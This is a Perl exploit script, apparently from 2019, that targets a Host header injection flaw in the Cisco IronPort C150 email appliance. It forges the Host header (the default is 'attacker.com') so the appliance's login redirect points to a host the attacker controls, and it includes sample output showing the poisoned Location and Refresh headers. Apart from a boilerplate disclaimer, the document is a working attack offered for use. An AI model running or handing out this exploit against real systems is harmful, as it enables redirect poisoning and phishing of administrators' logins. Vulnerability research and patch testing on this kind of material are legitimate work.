#!/usr/bin/perl -w # # # Cisco IronPort C150 Remote Header 'Host' Injection # # # Copyright 2019 (c) Todor Donev # # # Disclaimer: # This or previous programs are for Educational purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages # caused by direct or indirect use of the information or functionality provided by these programs. # The author or any Internet provider bears NO responsibility for content or misuse of these programs # or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, # system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's # responsibility. # # Use them at your own risk! # # # # [test@localhost ironport]$ perl ironport_c150.pl https://192.168.1.1 attacker.com # # Cisco IronPort C150 Remote Header 'Host' Injection # # ================================================== # # Author: Todor Donev 2019 (c) # # > Host => attacker.com # # > User-Agent => iCab/4.0 (Macintosh; U; Intel Mac OS X) # # > Content-Type => application/x-www-form-urlencoded # # < Cache-Control => no-store,no-cache,must-revalidate,max-age=0,post-check=0,pre-check=0 # # < Date => Mon, 02 Sep 2019 07:42:12 GMT # # < Pragma => no-cache # # < Location => https://attacker.com/login?CSRFKey=c7103f80-977a-a61e-eecb-84717e621136&referrer=https%3A%2F%2Fattacker.com%2FSearch # # < Server => glass/1.0 Python/2.6.4 # # < Content-Type => text/html # # < Expires => Mon, 02 Sep 2019 07:42:12 GMT # # < Last-Modified => Mon, 02 Sep 2019 07:42:12 GMT # # < Client-Date => Mon, 02 Sep 2019 07:42:13 GMT # # < Client-Peer => 192.168.1.1:443 # # < Client-Response-Num => 1 # # < Client-SSL-Cert-Issuer => # # < Client-SSL-Cert-Subject => # # < Client-SSL-Cipher => DHE-RSA-AES128-GCM-SHA256 # # < Client-SSL-Socket-Class => IO::Socket::SSL # # < Client-SSL-Warning => Peer certificate not verified # # < Refresh => 0; URL=https://attacker.com/login?CSRFKey=c7103f80-977a-a61e-eecb-84717e621136&referrer=https%3A%2F%2Fattacker.com%2FSearch # # < Set-Cookie => sid=6t67zdL9tSW0mcqetPC0; expires=Wednesday, 04-Sep-2019 07:42:12 GMT; httponly; Path=/; secure # # < Title => : Redirecting # # < X-Frame-Options => SAMEORIGIN # # ================================================== # # IronPort is Poisoned => https://attacker.com/login?CSRFKey=c7103f80-977a-a61e-eecb-84717e621136&referrer=https%3A%2F%2Fattacker.com%2FSearch # # use strict; use v5.10; use HTTP::Request; use LWP::UserAgent; use WWW::UserAgent::Random; my $host = shift || ''; my $attacker = shift || 'attacker.com'; print "# Cisco IronPort C150 Remote Header 'Host' Injection # ============================================================ # Author: Todor Donev 2019 (c) "; if ($host !~ m/^http/){ print "# e.g. perl $0 https://target:port/ attacker.com "; exit; } my $user_agent = rand_ua("browsers"); my $browser = LWP::UserAgent->new( protocols_allowed => ['http', 'https'], ssl_opts => { verify_hostname => 0 } ); $browser->timeout(10); $browser->agent($user_agent); my $request = HTTP::Request->new (POST => $host,[Content_Type => "application/x-www-form-urlencoded"], " "); $request->header("Host" => $attacker); my $response = $browser->request($request); print "# 401 Unauthorized!\n" and exit if ($response->code eq '401'); say "# > $_ => ", $request->header($_) for $request->header_field_names; say "# < $_ => ", $response->header($_) for $response->header_field_names; print "# ============================================================\n"; if (defined ($response->header('Location')) and ($response->header('Location') =~ m/$attacker/i)){ printf ("# IronPort is Poisoned => %s\n", $response->header('Location')); exit; } else { printf ("# Exploit failed!\n"); exit; }